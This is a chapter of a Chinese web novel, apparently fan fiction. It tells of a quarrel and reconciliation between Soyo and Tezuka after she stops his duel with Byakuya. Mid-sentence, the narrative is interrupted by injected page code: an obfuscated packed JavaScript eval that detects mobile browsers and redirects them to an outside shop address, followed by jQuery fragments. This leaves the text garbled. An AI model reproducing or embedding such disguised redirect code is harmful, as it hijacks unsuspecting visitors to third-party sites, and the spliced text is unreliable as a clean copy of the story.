48.外人与平等
作品:《有个想灭世的蓝染爹,我只好努力救世了》 三个字,清晰干脆,落在白哉耳中却无异于最直接的挑衅。
白哉当即冷笑一声,千本樱的寒光映着他眼底的厉色。他未置一词,只抬手指向鹤之丘后山——那里灵压未散,战痕犹在,正是最适合了断的场地。
苍遥没料到向来冷静自持的手冢竟会在此刻选择以战回应,急忙出声:“手冢选手!”
手冢身形微顿,却并未回头。
苍遥上前一步拉住他,低声劝道:“白哉重伤未愈,你赢了他也是胜之不武。放过他吧。”
手冢怔了一瞬。
他原以为她的阻拦,是担忧他的安危,会说些别的什么——却没想到……她或许确是出于担忧,落点却并不在他。
也合理,“威胁”和“工具”,的确不值得成为她在意的落点。
更何况,他选择迎战,本就不是为了所谓“胜负”,而是对那份“杀意”的直面回应。可她的话,将他所有的坚持都简化成了一场“不值得”的计较。
在她心里,维护朽木家的体面,远比正视他的立场更为重要。
另一边,被强加了“担忧”的白哉也是半点不愿领受。他只感到一阵鲜明的屈辱漫上心头,声音随之冷硬如铁:“苍遥姑母是觉得,我会输给这个人类小子?”
苍遥低笑一声,语气里的讥讽半点不遮掩:“你又不是没输过,何必这么破防?”
白哉脸色骤然发青。此前败于黑崎一护的画面猛地刺入脑海,喉间气息为之一滞,竟无从辩驳。他面容愈冷如覆寒霜,周身翻涌的战意却丝毫未褪,反被这句话激得愈发灼烈。
见他这般,苍遥忍不住白了一眼,语气添上几分告诫:“白哉,你是朽木家的家主,不是只代表你一个人。能不能别一点就着?自己眼下什么状况,心里没数么?接连折在十几岁的人类少年手里,很光彩吗?”
白哉唇线紧抿,一语不发。
纵有万般恼怒,他也不得不承认,此刻他灵力涣散、伤势沉重,确非交战的时机。片刻僵持后,他终是压下战意,冷着声向手冢提出改日再战。
“不约不约。”苍遥当即摆手打断,“我们手冢选手很忙的,每日不是训练就是比赛,可没空应付你。”
手冢静立一旁,看着这对姑侄争执——语气再冲,言辞再锐,也割不断底下那份鲜明的血脉联结。
终究,他们才是一家人。
而他,只是个外人,一个不该让朽木家主颜面受损的、“十几岁的人类少年”。
这份认知如一簇火苗,燎得他心口那团郁气愈发灼人。
白哉同样心头窒闷。沸腾的杀意被伤重之躯死死困住,无可奈何。最终,他只冷冷地剜了手冢一眼,不再多言,强提所剩无几的灵力,身影一晃便朝山下掠去。衣袂破风之声短促而利,仿佛挟着未尽的怒意。
直到那身影彻底消失,苍遥才几不可察地松了口气。
一旁的狩能却看热闹不嫌事大,轻飘飘地抛出一问:“怎么?觉得家人输给恋人……是件丢脸的事?”
苍遥回头看他一眼,只觉得他今日格外不怀好意——是了,他一直反对她与手冢的事。她此刻顾不上他,只下意识看向手冢,声音不自觉地放软了些,解释道:“手冢选手,我承认,我是不希望白哉输了对决给家族蒙羞。但更重要的是,这场对决本身毫无积极意义。”
她望进他深沉的眼里,直白道,“除非手冢选手落败被杀,否则消除不了白哉的半分杀意。打这一架只会激化矛盾,逼得他们更快、更急地对你出手。”
手冢沉默地听着,脸上没什么表情。
他明白,道理上她没做错什么。她的解释也足够清楚了。这般冷静到近乎淡漠的权衡。句句在理,句句清醒,却也句句……都透着疏离。
苍遥觑着他沉静如水的侧脸,心底倏地掠过一丝慌乱。她伸手拉住他的手臂,声音不自觉地急促了些:“手冢选手,我不是不看重你的尊严,任由白哉对你喊打喊杀……只是这个局面,不是通过一场对决能轻易改变的。让我们从长计议,好不好?”
手冢站在原地,静静地听完了她的话。山风拂过他额前的碎发,镜片后的目光沉静地落在她脸上,像是在仔细分辨她话里每一分重量。
然后,他几不可闻地、极轻地吸了一口气,开口:
“你的判断或许没有错。但是苍遥,”他转回目光,看进她眼底,那里面没有怒火,只有一片清晰的、近乎疲惫的冷静,“你在做决定的时候,似乎从未想过我的意愿,未曾问过我是否需要这场对决。”
语毕,他轻轻地将自己的手臂从她手中抽了出来。动作并不快,甚至带着一丝犹豫的凝滞,可终究是抽离了。随即他便转身朝山下走去,身姿笔挺,步履平缓,一步一步走进了浓雾里。
苍遥蓦地愣怔在了原地。
直到这一刻,她才惊觉自己犯了一个多么严重的错误——更可怕的是,在此之前,她甚至根本都没有这个意识。
从小到大,她所面对的,不是师长,便是从属,很少有真正平等相处的经验。以至于她全然忘记了,手冢也跟她一样,是个会自己判断、自己抉择、独立自主的人。
旁观的狩能似笑非笑地瞥了她一眼,极轻地笑了一声,出声问道:“你是真的喜欢他么?”
苍遥回过神来,侧过身看他,眉头微蹙:“老师这是什么意思?我当然是真的喜欢手冢选手。”
狩能摇了摇头,语气平淡:“看着可不像。”
苍遥不高兴道:“老师凭什么这么说?”
狩能看了她一会儿,像随口提起般问道:“到底是谁,把你教成这样的?”
他略作停顿,目光静静落在她脸上,凝了一瞬,声线裹上了一丝轻淡的讥嘲:“还是说,你们朽木家养出来的姑娘,本就比别家的,要格外……冷静凉薄些?”
苍遥用力抿住嘴唇,没去接他话里对家族的暗讽——在她看来,这不过是平民死神对贵族常有的疏离和偏见。她没时间在此多做纠缠。
苍遥定了定神,急忙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053299|194824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺着山道向下追去。
所幸手冢并未动用飞廉脚疾行,她没一会儿便追上了他。
苍遥匆忙上前重新抓住他的手臂,指尖不自觉收拢,眼底漫开一层清晰的忧虑:“手冢选手对不起……是我不好。我一时忽略了你的感受,并不是我不在意你……”
手冢没有回应。
狩能恰在此时跟了上来,话音平静地随风飘至:
“人的感情发乎本心,如何对待旁人,心底自有决断。”他的语气听不出情绪,却字字清晰,“或许,你并没有自己以为的那么喜欢他。”
手冢沉默不语。雾气朦胧地覆上镜片,将那双眼睛遮得严严实实,什么也看不真切。
狩能的声音却更沉了几分:“你们本就不合适,从任何层面来看都是。不如趁早断了。”
他侧过半张脸,余光扫过手冢面无表情的脸,落在苍遥怔然的神情上。
“苍遥,人类的一生很短暂。那点时间,就让手冢少年去忙自己的事,过自己的人生吧。围着你转……”
他停顿了一瞬,像在斟酌用词,最终却只落下轻飘飘的一句,“才是真的没有意义。”
语毕不再多言,瞬步离去。转眼之间,便没入下方翻涌的雾霭与林影深处。
他和白哉来得突兀,走得匆忙,现场很快便只余一片被惊散的浓雾,以及兀自立在原地的苍遥与手冢二人。
手冢依旧一言不发,甚至无视苍遥紧紧拽住自己左臂的两只手,继续大步朝山下走去。
苍遥知道他生气了,说什么也不肯松手,索性小跑着跟在他身侧。手冢却丝毫没有放缓的意思,反而越走越快,衣角在风里扬起利落的弧度,仿佛真要就这样将她甩在身后。
石阶被山雾浸得湿滑,苍遥只顾着追他,脚下忽地一滑,身形微晃——
手冢理智上清楚地知道,她是死神,这种程度的踉跄根本不可能让她摔倒。
可在这样想的同时,他的脚步却已先于思考停了下来,身体转回,让她稳稳跌进了自己怀里。
呼吸相闻,心跳可触。
苍遥还未站稳,便感到他身体微动,似乎又要抽身离开。她心下一慌,不管不顾地伸出双臂紧紧环住他的腰,将脸埋进他胸前,声音闷闷地透出来:
“手冢选手……别生气了。我知道错了。”
她抱得很用力,指尖无意识地攥紧了他背后的衣料,像是怕一松手他就会真的消失。
“你别离开我……”
手冢闭了闭眼,无声地叹了口气。
那口气很深,像把胸腔里所有翻涌的、冰冷的、尖锐的东西都缓缓压了下去。他在原地站了很久,久到山风将两人的衣摆缠在一起,久到怀里的呼吸声渐渐平稳。
然后,他握住她的手,一言不发地拉着她,朝山下疾行。脚步很快,却不再是为了甩开她。
穿过林隙,掠过石阶,直至踏入一处僻静的溪谷,他才终于停下。那双总是沉静的眼眸里,翻涌的寒雾终于散去了些许。

